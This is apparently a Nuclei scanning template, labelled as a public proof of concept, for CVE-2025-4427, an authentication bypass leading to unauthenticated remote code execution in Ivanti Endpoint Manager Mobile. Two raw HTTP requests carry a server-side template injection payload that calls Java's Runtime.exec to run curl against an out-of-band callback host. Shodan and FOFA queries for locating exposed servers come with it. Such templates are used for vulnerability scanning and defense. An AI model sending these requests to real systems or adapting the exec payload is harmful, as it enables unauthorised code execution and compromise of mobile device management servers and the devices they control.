An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
PoC代码[已公开]
id: CVE-2025-4427
info:
name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
severity: critical
description: |
An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
reference:
- https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-4427
cwe-id: CWE-288
epss-score: 0.91756
epss-percentile: 0.99664
metadata:
verified: true
max-request: 2
shodan-query: http.favicon.hash:"362091310"
fofa-query: icon_hash="362091310"
product: endpoint_manager_mobile
vendor: ivanti
tags: cve,cve2025,ivanti,epmm,rce,ssti,kev,vkev,vuln
http:
- raw:
- |
GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
Host: {{Hostname}}
- |
GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "localizedMessage"
- type: regex
part: body
regex:
- "Format 'Process\\[pid="
- "Format 'java\\.lang\\.UNIXProcess@[0-9a-f]+'"
condition: or
- type: word
part: interactsh_protocol
words:
- dns
- type: status
status:
- 400
# digest: 4a0a004730450221009d70d345417eb9b5dc2878df0dd8c12374d48f2e8ec6c2b2828ca23f69d2fb6c0220496517344d22a6d122d643d8e04be4017ab7b8a0a7fc276b3dcbb0249b8ce940:922c64590222798bb761d5b6d8e72950